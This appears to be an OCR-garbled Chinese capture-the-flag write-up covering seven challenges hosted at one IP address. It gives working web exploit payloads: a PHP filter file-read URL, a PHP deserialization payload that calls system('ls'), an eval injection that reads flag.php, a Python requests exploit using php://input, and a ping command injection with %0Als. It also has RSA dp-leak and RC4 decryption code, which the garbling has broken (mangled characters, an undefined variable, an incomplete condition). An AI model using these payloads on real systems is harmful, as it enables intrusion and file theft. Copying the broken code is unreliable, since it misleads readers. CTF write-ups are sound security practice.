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1.nani

Hi&payload, ZEF|user.phpyffd: http://120.55.43.255:24719/?file=php:/filter/read=convert.base64-encode/resource=./user.php

<?php

class convent{

var $warn = "No hacker.";

function __destruct(){
eval($this->warn);

}

function _ wakeup(){
foreach(get_object_vars($this) as $k => $v) {

$this->$k = null;

¥

}
¥
$cmd = $_POST[cmd];
unserialize($cmd);

?>
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BEAE, 2—MNRFHKE, FRHAiEpayloadh:

<« C ® © & 120.5543.255:24719/user.php
B omErsses @ FELE B smmn @ swss

dsuhhjfdgjhaskjdkj.txt index.php show.php user.php

Or O== Deys ODEtE NRs (Jastmes Qe Onse B e 7w ZEsHE @ HackBar

Encryption ~ Encoding~ SQL~ XSS~ LFI~ XXE~ Other~

& Load URL http://120.55.43.255:247 19/user.php

§ Split URL
.
i Postdata [ ] Referer [] User Agent [] Cookies

cmd=0:7:"convent":2:{s:4:"warn";s:13:"system('ls");";}

Clear All

flagBRZEOASC P o -
2.XImg



FiStegsolve jarfTHE f, Isb&EF 7] A& Flflag:

Extract Preview

66eceleTTbT746573 T743132337d000000 flagi{tes tl23}...
0000000000000000 0000000000000000 ... vvee dvneennn
0000000000000000 0000000000000000  t.veeiiie teenunnns
0000000000000000 0000000000000000 ... vvee dvneennn
0000000000000000 0000000000000000  t.veeiiie teenunnns
0000000000000000 0000000000000000 ... vvee dvneennn
0000000000000000 0000000000000000  t.veeiiie teenunnns
0000000000000000 0000000000000000 ... vvee dvneennn
0000000000000000 0000000000000000  t.veeiiie teenunnns
0000000000000000 0000000000000000 ... vvee dvneennn
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Bit Planes Order settings
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Include Hex Dump In Preview

‘ Preview || Save Text || Save Bin || Caiinal !

3.random

Hixpayload: http://120.55.43.255:27189/?seed=15552362918&key=895547922&hello=);print_r(file(%22./Mlag.php%22));//
[ & Flflag.

< C O® 722 | 120.55.43.255:27189/?seed=1555236291&key=8955479228&hello=);print_r(file("./flag.php™));//
i RB CTF ol bz SERME NEF S fREsE SRC MiEZe

<7php
show_source(_ FILE_ )
include “flag. php™;
$a = @3_REQUEST[ hellc’];
$seed = @F_REQUEST[ seed’ 1;
$key = @F_FEQUEST[ key ]

mt_srand(fseed) ;

Ftrue_key = mt_rand();

if  ($key == Ftrue_key) {
echo “Key Confirm”;

}

elsel

}
eval {  “var_dump($a); "),

7> Key ConfirmArray ( [0] => $flag="flag{YOu Solv3 s4mpl3..oNc3 Mor3}";)

die("Eey Error”);

4.rsa



import gmpy2
e=65537
n=44451190737481162133386496843025141985534788208169588890453179536685751741728971621336340813755086640916340863
3679685635315881237914815762134949770798439327373469286675370381115822381092997433491238495970527484356127131132
3458930073680698142868229310479154829475442307419246748803046079024135277946575561740213611137599627423069666436
2964480075920982989343822244747888266357389147338652013801799719536255991873023270971948684733724842512154789386
2458228964360472119045154255446606447184782930767120924229261090464514045697735201016333117579385787597262783543
8862172202999593644761251673288834181098491393843186924401167467171560258693999900080340028817584529362139243064
2895544247583431160490590526072360778850433238982434829228640278147405437518492846287024001701258622980665885088
1803134678565293180207556731290044948846308165695896369703720482941116135445836684836990286418102640883844706122
4077017823600722569871971184683916623661059646297868992814848848776407335492033946800060686372517176236915987535
7026047905040706926223658372690515149555080127427715503983984487205038077253740971416468008353911812464621783387
1816488578092001365486400242215564766336041803413006183310354910820598373905617564797817421231716827155927723376
783
dp=2068808319440109818339862609435246930815052358358310427072319998892669477613153195320703166865240848111946691
9329893607763657623952024909876740067584191851505244658377465365020503008072292716279306615911408934182303357474
3413297664078529832757904992253228624996649016331909252328021629771352542167078348948167305297599916343433220395
2841388393775239701146677952159076771178677731715916170064531809127852839525257608697983879091720117973965781935
6771788743301669430631157222234922010934163688512789947321007479617996170289230676037655762865962020063056831019
134814970048718940037920888121806608032574204482673114726401
€=37824591268986281966871625779510825533692888369398426380590870233759116040823497471635629241319078670487888074
2998101926728409825216339197208512929079484687018187263522243781958701468849915372674337274640196043362477406890
6223456865035121515015923979267644429456554238016021001858672391068367048352156862460838121174396859906373522461
9151701064534341728316912310569778274702623104406463995537485487308960476667794272537410821374998205298586625943
3900255218180285975477045323647923881322428349632056484406017564586481848442834247385904402824072352354677823823
0786468746321951283282999421281165082515648119235643629914666600054385804495581841970066234903034136364611374347
©0392556478529933580334122205157013184204212092371918409168962980938082830664970244046076184815468261197276809934
0896995546188526274235118488618951865589050087434162728116205149188555273127955536588551565951618535230908129965
2501512580489349859774937408974207183402685363637631276768991142198287535700409786401211853544318840415978519107
8434704094625175257720142679768491267164147030724979426975597227801310783188554478102938425606958671371420182268
3071958299038410102821213570933652719191413490563464823296852894960994148922867149263897530215474500564443133161
527
for x in range(1,e):
if (dp*e-1)%x ==
p = (dp*e-1)/x + 1
if n%p==0:
a=n/p
phi =(p - 1) * (q - 1)
d = int(gmpy2.invert(e,phi))
m = pow(c,d,n)
s = str(hex(m))[2:]
s = s[@:1len(s)-1]
flag = s.decode('hex")
print flag
break

AT _EiRpythonfR % AT & Flflag .

Mt payload:

import requests

r = requests.post('http://120.55.43.255:28119/?user=php://input&file=class.php&pass=0:4:"Read":1:{s:4:"file";s:5
7:"php://filter/convert.base64-encode/resource=fffffflag.php"”;}"',data="admin").content

print r



%3|—Hbaseb4, fRIGA1Efag.

i3 reneIper . S TERSRAET

PDowaHANCmVycm9yX3JlcGoydGIuZyhFXOFMTCAmMIHSFX05PVEIDRSK7DQovL2ZsYWd7d295ZWJ1emhpZ GFveWFvbm9uZ2dicZhhZmxhZ2hlc2hpY
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UnicodefFia ) UnicodefZh3 > URL Encode ) URL Decode O Gzip[EdR O GzipfEE O HTMLEEIS

UTF 164772 UTF 16859 Base6447f3 @ BaseB4#7FS O MD5IHE O +7uHIE O + uiHiRmg

<?php

error_reporting(E_ALL & ~E_NOTICE);
lIflag{woyebuzhidaoyaononggeshaflagheshia}
>

6.ping

3% payload:http://120.55.43.255:21173/ping.php?ip=127.0.0.1%0Als

<« C ® © & 120.55.43.255:21173/ping.php?ip=127.0.0.1%0Als
ByamEmss @ itk =Ant © mFes
127.0.0.1 Is

PING 127.0.0.1 (127.0.0.1): 56 data bytes
ffffffllllaagggg. txt

index. php

ping. php

flagBEZEASC PR o
7.apk123

R 4miFapk, FTARRCAMEFE R, HjavaflilgwmERCARE, % {5fag.

import java.io.UnsupportedEncodingException;
public class RC4Util {

/**
* RCAMNE, ¥ N5 MBEEET s A
* @param data FENF LR
* @param key WN#H4H
* @param chartSet ZwiGH R
* @return IREINE G 1 HIE
* @throws UnsupportedEncodingException
*/
public static String encryRC4String(String data, String key, String chartSet) throws UnsupportedEncodingExce
ption {
if (data == null || key == null) {
return null;

}
return bytesToHex(encryRC4Byte(data, key, chartSet));



/**
* RCANNE, NG M7 HE
* @param data 7&EN% K HE
* @param key fnaFaEiH
* @param chartSet Zwi%ir=
* @return IREINE G HIEIE
* @throws UnsupportedEncodingException
*/
public static byte[] encryRC4Byte(String data, String key, String chartSet) throws UnsupportedEncodingExcept
ion {
if (data == null || key == null) {
return null;
}
if (chartSet == null || chartSet.isEmpty()) {
byte bData[] = data.getBytes();
return RC4Base(bData, key);
} else {
byte bData[] = data.getBytes(chartSet);
return RC4Base(bData, key);

/**
* RCARE
* @param data EEMHENEE
* @param key INE%4H
* @param chartSet Zmf%i=
* @return REIFEGEIEEE
* @throws UnsupportedEncodingException
*/
public static String decryRC4(String data, String key,String chartSet) throws UnsupportedEncodingException {
if (data == null || key == null) {
return null;
}
return new String(RC4Base(hexToByte(data), key),chartSet);

/**
* RCAMMEWIMEALE A
* @param aKey
* @return
*/
private static byte[] initKey(String aKey) {
byte[] bkey = aKey.getBytes();
byte state[] = new byte[256];

for (int 1 = 0; 1 < 256; i++) {
state[i] = (byte) i;

}
int indexl = 9;
int index2 = 0;

if (bkey.length == @) {
return null;
}
for (int 1 = 0; 1 < 256; i++) {
((bkey[index1] & oxff) + (state[i] & Oxff) + index2) & Oxff;
byte tmp = state[i];
statelil = statelindex21:

index2



state[index2] = tmp;
indexl = (index1 + 1) % bkey.length;
}

return state;

/**
* FEHHEE S
* @param bytes
* @return
*/
public static String bytesToHex(byte[] bytes) {
StringBuffer sb = new StringBuffer();
for(int 1 = @; i < bytes.length; i++) {
String hex = Integer.toHexString(bytes[i] & OxFF);
if(hex.length() < 2){
sb.append(9);

}
sb.append(hex);
}
return sb.toString();
)
/**

Sl WAV E L
* @param src
* @return
*/
public static byte[] hexToByte(String inHex){
int hexlen = inHex.length();
byte[] result;
if (hexlen % 2 == 1){
hexlen++;
result = new byte[(hexlen/2)];
inHex="0"+inHex;
}else {

result = new byte[(hexlen/2)];

}

int j=0;

for (int 1 = 0; i < hexlen; i+=2){
result[j]=(byte)Integer.parselnt(inHex.substring(i,i+2),16);

J++;
}
return result;
}
/**
* RCAMRE

* @param input
* @param mKkey

* @return

*/

private static byte[] RC4Base(byte[] input, String mKkey) {
int x = 9;
int y = 0;

byte key[] = initKey(mKkey);
int xorIndex;
byte[] result = new byte[input.length];



for (int i = @; i < input.length; i++) {
x = (x + 1) & oxff;
y = ((key[x] & oxff) + y) & Oxff;
byte tmp = key[x];
key[x] = key[y];
key[y] = tmp;
xorIndex = ((key[x] & Oxff) + (key[y] & oOxff)) & oxff;
result[i] = (byte) (input[i] ~ key[xorIndex]);
}

return result;

public static void main(String[] args) throws Exception{
System.out.println(decryRC4("52aedea36a3c058b38aa32e625889947db302a6d1ldefdabf413085abf611487bf445e851083

27a867c27","Flag{This_Not_Flag}","UTF-8"));
}
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